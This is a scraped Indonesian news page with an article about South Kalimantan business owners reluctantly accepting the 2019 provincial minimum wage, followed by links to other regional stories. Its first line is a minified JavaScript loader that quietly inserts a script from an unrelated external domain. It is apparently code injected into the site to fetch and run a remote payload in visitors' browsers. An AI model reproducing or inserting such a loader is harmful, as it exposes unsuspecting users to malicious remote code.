(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pengusaha Kalsel Berat Hati Terima UMP 2019


BANJARMASIN, Asosiasi Pengusaha Indonesia (Apindo) Kalsel H Supriadi mengaku banyak anggota Apindo masih berat hati menerima keputusan Upah Minimum Provinsi (UMP) Kalsel tahun 2019 yang sudah diketok.

Sebagaimana diketahui, secara resmi Pemprov Kalsel mengumumkan UMP Kalsel tahun 2019 sebesar Rp 2.651.781, naik 8,03 persen atau sebesar Rp 197.110 dari UMP Kalsel 2018 sebesar Rp 2.454.671.

“Untuk UMP Kalsel tahun 2019, memang banyak pelaku usaha anggota Apindo Kalsel masih tidak sependapat. Bahkan mereka merasa cukup keberatan untuk menerapkannya,” ucapnya, Selasa (6/11/2018).

Keberatan sendiri menurut pengusaha travel haji dan umroh itu cukup beralasan, mengingat pertumbuhan ekonomi Kalsel tidak lebih baik dari ekonomi nasional selama tahun 2018 ini.

“Kita ketahui saat ini pertumbuhan ekonomi Kalsel hanya sebesar 4,95 persen, jauh lebih buruk dari ekonomi nasional yang tumbuhnya mencapai 5,15 persen. Belum lagi ditambah dengan lesunya daya beli masyarakat sekarang, inilah yang menjadikan pengusaha keberatan,” jelasnya.

Pun keberatan, pihaknya mengaku akan tetap melakukan sosialisasi intensif kepada pelaku usaha pada semua sektor di seluruh Kalsel untuk bisa menerapkan UMP Kalsel tahun 2019.

“Kita akan segera turun ke daerah melakukan sosialisasi kepada pelaku usaha bersama instansi terkait. Karena UMP tahun 2019 kali ini sudah diputuskan dan wajib dijalankan semua pihak,” ungkapnya.

Terkait penerapan UMP tahun 2019 terhadap pelaku usaha mikro kecil dan menengah (UMKM), Supriadi menyadari akan tetap sulit diberlakukan. Hal ini karena terkait omset dan pendapatan UMKM yang masih tidak seberapa.

“UMKM ini pengecualian, pasti akan sangat sulit diterapkan. Untuk pemberlakuan UMP tahun 2019 paling hanya bisa diberlakukan untuk bidang pertambangan, perkebunan hingga keuangan,” jelasnya.

Sebelumnya, Kepala Dinas Tenaga Kerja Kalsel Sugian Norbach menjelaskan, kenaikan UMP Kalsel tahun 2019 dilandasi formulasi yang ada atas pertumbuhan ekonomi dan inflasi di daerah.

“Per tanggal 1 Januari 2019 nantinya keputusan dari Gubernur Kalsel terkait UMP wajib ditaati oleh perusahaan. Jika perusahaan tidak melaksanakan UMP, maka ada sanksinya sesuai regulasi yang berlaku,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

6 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

7 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

11 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

11 jam ago

This website uses cookies.